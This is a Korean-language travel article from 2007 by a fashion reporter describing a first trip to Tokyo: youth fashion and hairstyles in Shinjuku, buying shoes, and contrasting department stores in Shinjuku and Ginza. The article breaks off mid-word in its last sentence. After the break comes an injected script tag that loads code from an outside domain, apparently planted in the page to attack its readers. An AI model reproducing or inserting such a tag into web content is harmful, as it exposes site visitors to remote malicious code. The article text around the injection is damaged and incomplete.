‘아시아의 뉴욕’으로 부상중인 쇼핑천국 - 동경을 가다
2007-01-25글 / 이정금 (여자와닷컴 패션&뷰티 담당 기자)

일본 나리타 공항에 도착한 시간은 오후 4시가 지날 무렵이었다. 일본 여행이 초행길인데다가 일어가 서툴러 잔뜩 긴장을 하고 있었다. 호텔로 가는 리무진 버스를 타고 1시간 반 무렵을 갔다. 호텔 예약 티켓을 분실한 탓에 또 1시간 가량을 일본인과 씨름을 해야했다. 무사히 호텔방으로 돌아와 짐 정리를 하고 3일동안 가이드를 해 줄 사람과의 미팅만을 고대하고 있었다. 호텔 로비에서 만난 가이드와 인사가 끝나고 기자는 신주쿠로 데리고 가 달라고 부탁했다. 신고 온 7센티미터 구두로는 도저히 빡빡한 3일의 일정을 버틸 수가 없을 것 같아서 였다.
신주쿠에 도착한 기자는 한국에서 잡지로만 보던 화려하고도 신기한(?) 일본의 젊은이들을 보고 놀라지 않을 수 없었다. 사실, 잡지로는 이미 그들의 모습을 본 적이 있지만, 실제로 보기는 처음이니 말이다. 코와 입술에 피어싱을 한 아이도 있고, 온 몸에 문신을 새긴 채 담배를 피는 아이, 25센티미터는 족히 되어보이는 하이힐을 신고 초미니 스커트를 입은 여학생 등 보지 않고는 아무리 설명해도 부족할, 그런 모습들의 아이들이 한 두명이 아닌 떼를 지어 모여있었다. 오히려 기자의 모습이 우스꽝스러워 보일 정도였으니...
원래의 일정에 포함되어 있지는 않았지만, 착한(?) 가이드 덕분에 그들에 대한 도움말을 많이 들을 수 있었다. 기자가 도착한 날은 일요일이었고, 그 다음날은 일본의 국경일인 ‘체육의 날’이라 사람들이 더욱 붐볐다. 평상시에는 조금 순화된 복장의 아이들도 많다고 한다.
신주쿠의 한복판에는 일본인을 비롯한 중국인, 한국인 그리고 흑인과 백인 등 그야말로 다인종이 모여있었다. 하지만, 중국인과 한국인은 금새 티(?)가 났다. 한국인은 그야말로 베이직하면서도 포인트를 준 의상으로 화려한 색상으로 온 몸을 꾸민 일본인들과는 확연한 차이를 두었고, 중국인은 포인트마저 없는 아주 밋밋한 의상들로 일본인과 구분이 되었다.
확실히 구분할 수 있었던 것은 헤어 스타일이었는데, 일본인은 흔히 바람머리라고 부르는 부시시한 헤어 스타일이 특징이다. 90년대 중후반 국내에서 선풍적인 인기를 모았던 패션 캐릭터 브랜드 롤롤(lolol)의 캐털로그에서 보여진 귀여운 듯 거친 퍼머가 바로 일본의 주 헤어 스타일이다. 그 때보다 지금은 조금 순화된 형태로 바뀌었지만, 기본틀은 헝클어진 자연스러운 헤어 스타일이다. 그에 비해 한국인의 헤어 스타일은 찰랑찰랑한 생머리가 주를 이룬다.
이렇듯 나라별 옷차림과 헤어 스타일에 집중을 하고 있을 때 즈음, 원래의 목적이었던 신발을 구입해야 한다는 생각이 번뜩 스쳤다. 늦은 시간이라 서둘러 신발 가게를 찾았다. 처음 들어간 신발가게는 3~4평 남짓 되는 가게로 비교적 저렴한 신발들이 다양한 스타일로 구비되어 있었다. 기념으로 일본 여학생이 여름철에 즐겨 신었던 나무로 된 10센티미터가 넘는 샌들을 구입했다. 그리고 바로 옆 가게를 들렀는데, 역시 4평이 넘지 않는 작은 가게였다. 자세히 둘러보니 스포츠화만 파는 곳이었는데, 독특하고 예쁜 신발들이 꽤 눈에 들어왔다. 신발을 둘러보는 사람들도 많아서 종업원이 한 사람 한 사람에게 신경을 써 주지 못하고 있었다.
기자는 이 가게에서 싼 가격에 예쁜 운동화를 구입할 수 있을 것이라 생각했다. 맘에 드는 신발을 집어 들었을 때, 기자는 실망했다. 커다랗게 나이키 마크가 박혀 있었기 때문이다. 이 가게는 브랜드를 모아놓은 편집 매장 같은 곳이었다. 우리나라의 이대나 홍대와 같은 아주 작은 로드샵이었는데도 비싼 브랜드들이 아주 성의 없는 인테리어로 배열되어 있었던 것이다. 좀 비싼 감도 있었지만, 시간이 너무 늦은 탓에 서둘러 호텔로 돌아왔다. 남은 3일의 일정에 기대감을 안고...

극과 극의 쇼핑 거리, 신주쿠과 긴자를 가다
신주쿠와 긴자의 백화점을 둘러보는 것이 첫째날의 일정이었다. 백화점만을 보는 것에 하루를 보낸다는 것이 조금 느슨하다는 생각을 하며 신주쿠역 바로 앞에 있는 백화점부터 둘러보기 시작했다. 흔히 우리나라 백화점을 떠올리면 매끈한 바닥 장식재와 고급스러운 향이 살짝 풍기는 우아한 분위기를 떠올린다. 하지만, 처음 방문한 백화점은 기대와는 전혀 정반대의 백화점이었다. 옥상에서는 매달 벼룩시장이 열린다는 아주 시골스러운 백화점이었다. 신주쿠 역 근처의 다른 백화점을 들어가 봤지만, 별반 다를 바 없었다.
하지만, 좁고 복잡한 보도를 지나 널직한 도로변으로 나오니 깨끗하고 고급스러운 백화점들이 눈에 띄기 시작했다. 우리나라의 압구정 갤러리아 백화점에 비할 수 있다는 이세탄 백화점은 그 전의 장터느낌의 백화점과는 사뭇 달랐다. 특히 3층에는 세계 거의 모든 명품들이 정갈하고 큼직하게 자리를 잡고 있었고, 인테리어 또한 고급스러웠다.
같은 신주쿠에서도 타겟에 따라 백화점도 천?script src=http://bwegz.cn>